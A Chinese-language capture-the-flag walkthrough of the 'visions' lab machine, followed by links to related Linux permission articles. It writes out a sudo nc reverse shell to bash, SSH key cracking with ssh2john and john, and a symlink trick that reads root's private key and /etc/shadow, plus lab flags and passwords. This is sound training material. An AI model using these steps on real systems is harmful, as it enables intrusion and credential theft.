visions-软链接提权

简介: visions-软链接提权


visions easy 图片隐写、图片调试、exiftool使用、sudo-nc提权、ssh私钥提权、ssh2john使用、john爆破私钥、ssh 私钥利用

主机发现

sudo netdiscover -i eth0 -r 192.168.44.136/24

服务扫描

sudo nmap -sV -A -T 4 -p- 192.168.44.136

目录扫描

右键检查查看源码,猜测是用户名alicia

 http://192.168.44.136/index.html
 
Only those that can see the invisible can do the imposible.
You have to be able to see what doesnt exist.
Only those that can see the invisible being able to see whats not there.
-alicia 

翻译

只有那些能看到无形事物的人才能做到不可能的事情。
你必须能够看到不存在的东西。
只有那些能够看到不可见事物的人才能看到不存在的事物。
-艾丽西亚

页面只有个white.png空白图片,猜测是图片隐写

保存下来

查看信息

exiftool white.png
strings white.png

得到: pw:ihaveadream

提权

┌──(kali㉿kali)-[~/下载]
└─$ ssh alicia@192.168.44.136 //ihaveadream

sudo -l //  (emma) NOPASSWD: /usr/bin/nc
sudo -u emma /usr/bin/nc -e /bin/bash 192.168.44.136 2333

新建一个控制台ssh连接,nc监听

nc -lvnp 2333

python3 -c 'import pty;pty.spawn("/bin/bash")'

emma@visions:~$ cat note.txt
cat note.txt
I cant help myself.
emma@visions:/home$ ls
ls
alicia  emma  isabella  sophia
emma@visions:/home$ cd sophia
cd sophia
emma@visions:/home/sophia$ ls
ls
flag.sh  user.txt
emma@visions:/home/sophia$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

可以看到home目录下还有好多其他用户,这里脑洞较为大,还得回到那张图片white.png

把它复制到windows的world里,图片格式–>矫正–>图片矫正选项–>对比度-56%,就能看到账户密码

sophia/seemstobeimpossible

获得第一个flag

emma@visions:/home/sophia$ su sophia
su sophia
Password: seemstobeimpossible

sophia@visions:~$ cat user.txt
cat user.txt
hmvicanseeforever

读取到ssh私钥

sudo -l //(ALL : ALL) NOPASSWD: /usr/bin/cat /home/isabella/.invisible
sudo /usr/bin/cat /home/isabella/.invisible

将私钥复制出来编辑到id_rsa,这登录还需要密码,我们使用 ssh2johnid_isa 秘钥信息 转换 为 john 可以识别的hash,然后进行爆破,得到密码是invisible

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ vim id_rsa
┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ ssh2john id_rsa >> hash  
┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ /usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

0g 0:00:05:24 0.06% (ETA: 2024-04-23 18:54) 0g/s 33.41p/s 33.41c/s 33.41C/s pink69..findingnemo
invisible        (id_rsa)   
chmod 600 id_rsa
┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ sudo ssh -i id_rsa isabella@192.168.44.136  //invisible

软链接提权

这里 sudo 具有root 的权限,sophia 用户具有使用 Sudo 读取 /home/isabella/.invisible 的权限,而现在的 isabella 用户有权限修改

/home/isabella/.invisible。我们尝试创建一条软链接,将.invisiblla文件链接到root的私钥上

isabella@visions:~$ cp .invisible .invisible.bak
isabella@visions:~$ rm -rf ./.invisible
isabella@visions:~$ ln -s /root/.ssh/id_rsa ./.invisible

sophia@visions:/home$ sudo /usr/bin/cat /home/isabella/.invisible

读取到root的私钥,获得第二个flag

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ vim root_rsa
                                                                             
┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ chmod 600 root_rsa    
                                                                             
┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ ssh -i root_rsa root@192.168.44.136                     
Linux visions 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr 17 13:10:34 2024
root@visions:~# id
uid=0(root) gid=0(root) groups=0(root)
root@visions:~# ls
flag.sh  root.txt
root@visions:~# cat root.txt 
hmvitspossible

方法二

hadow爆破

使用上面的方法,换个思路,读取root的shadow 文件,然后进行爆破

isabella@visions:~$ ln -s /etc/shadow ./.invisible

这里太久了,了解思路即可。完全爆破需要很长时间。0.99%

相关文章
|
6月前
文件查找和文件权限
文件查找和文件权限
52 0
|
6月前
|
Unix Linux
Linux粘滞位的理解,什么是粘滞位?
Linux粘滞位的理解,什么是粘滞位?
|
6月前
|
Linux
linux无法删除文件的时候先看看文件属性
linux无法删除文件的时候先看看文件属性
39 2
|
Linux 索引 Windows
Linux硬连接与软连接
Linux硬连接和软连接的简单介绍
135 0
Linux硬连接与软连接
|
Linux Shell Go
9.6 Linux修改文件或目录权限(chmod命令)
既然我们已经知道文件权限对于一个系统的重要性,也知道每个文件都设定了针对不同用户的访问权限,那么,是否可以手动修改文件的访问权限呢?
198 0
9.6 Linux修改文件或目录权限(chmod命令)
|
安全 Linux Shell
Linux常用文件权限命令详解
pwd命令用于获取当前工作目录的绝对路径。 使用示例: pwd 效果如下图:
223 0
Linux常用文件权限命令详解
|
iOS开发 MacOS
macOS 查看、修改文件、文件夹权限的命令
1、查看文件/文件夹权限: 1、查看某个文件权限的命令 ls -l + 要查看文件的文件名 1 2、查看某个文件夹里所有文件/文件夹的权限 ls -l + 文件夹名 1 3、如果要查看某个文件夹的权限,需要在该文件夹外部目...
4209 0
|
存储 Oracle 关系型数据库
Linux上创建和更改硬链接和符号链接(软连接)
Linux上创建和更改硬链接和符号链接(软连接) 对于Linux上的硬链接和软连接而言,使用cp命令,无论覆盖其中的那个文件(源文件,软连接文件,硬链接文件),其它文件的内容都会同步修改。
4160 0